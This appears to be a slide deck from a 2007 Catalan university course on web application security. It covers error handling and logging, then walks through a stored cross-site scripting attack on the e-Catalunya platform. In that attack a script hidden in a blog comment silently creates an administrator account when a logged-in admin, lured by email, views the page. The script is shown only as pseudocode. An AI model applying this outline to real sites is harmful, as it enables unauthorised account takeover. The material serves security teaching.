![Page 68: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/68.jpg)
LCFIB- 2007LCFIB- 2007
Errors d’autenticació
Que pot indicar un error
• Pèrdua de servei
• Atac en progrés
• Afectar a la seguretat
![Page 69: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/69.jpg)
LCFIB- 2007LCFIB- 2007
• Tractament d’errors• Totes les aplicacions generen errors
• Tractar TOTS els errors
• No permetre que un error afecti al servidor
• Capturar tots els errors al codi (blocs try-catch)
• Registrar l’error a alguna banda
• Determinar quina informació mostrar a l’usuari
• Missatge genèric, missatge específic, resultats parcials
• Bones pràctiques:
• Els errors mai han de revelar informació de la implementació
•Stacktraces, detalls de l’error
![Page 70: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/70.jpg)
LCFIB- 2007LCFIB- 2007
• Questions importants
• Es important detectat atacs en progrés?
• Hi ha formes de detectar atacs en progrés?
• Quines politiques es segueixen per detectar atacs? Events, Límits
• Analitzar els errors
• Com respondre a condicions d’errors
• Els logs han de permetre identificar situacions no controlades
• Capturar suficient informació
• S’ha de poder separar informació de debug i de control
![Page 71: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/71.jpg)
LCFIB- 2007LCFIB- 2007
Exemple pràctic amb e-Catalunya
![Page 72: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/72.jpg)
LCFIB- 2007LCFIB- 2007
Objectiu
• Sense tenir privilegis crear un usuari amb permisos d’administració
Procediment
• Esbrinar URL de creació d’usuari i canvi de privilègis• Creació d’un script que cridi aquestes URL• Adjuntar l’script en una eina• Fer que un administrador executi aquest script
En la última versió: Modificació per tal de no poder incluir script a les eines
Problemàtica: Dificultat de detectar la inclusió d’un script
![Page 73: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/73.jpg)
LCFIB- 2007LCFIB- 2007
![Page 74: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/74.jpg)
LCFIB- 2007LCFIB- 2007
Hacker
Obtenció d’URL d’administració
CREAR NOU USUARI+ Esbrinar la URL de la pàgina de crear un nou usuari+ Esbrinar el nom dels camps del formulari (nom, id, email)+ Construir URL tal que si s’accedeix a ella es dona d’alta l’usuari especificat
ASSIGNAR PERMISOS D’ADMINISTRACIÓ+ Idem que l’anterior però usant la pàgina d’assignar permisos
Obtenir URL
![Page 75: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/75.jpg)
LCFIB- 2007LCFIB- 2007
Hacker<script> … crear_usuari(X) fer_administrador(X) …</script>
Creació de Script maligne
SCRIPT+ Cridar URL1 (crear nou usuari)+ Cridar URL2 (assigna al nou usuari permisos d’administrador)
(si s’utilitzen peticions AJAX l’usuari no se n’adona de que ha executat un script)
![Page 76: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/76.jpg)
LCFIB- 2007LCFIB- 2007
Hacker
Introduir script
maligne com a comentari
a l’e-blog<script> … crear_usuari(X) administrador(X) …</script>
Introduir SCRIPT a l’e-Blog
![Page 77: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/77.jpg)
LCFIB- 2007LCFIB- 2007
Hacker
Ingenieria social
Administrador
Enviar un mail a l’admin amb l’enllaç al blog
Quan l’administrador vagi a veure el Blog, si aquest està identificat,s’executarà l’script insertat.
Aquest crearà un nou usuari amb permisos d’administrador que el hacker podrà utilitzar per fer maldats.
També es podria robar la cookie de l’admin per tal de fer unasuplantació d’identitat.
![Page 78: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/78.jpg)
LCFIB- 2007LCFIB- 2007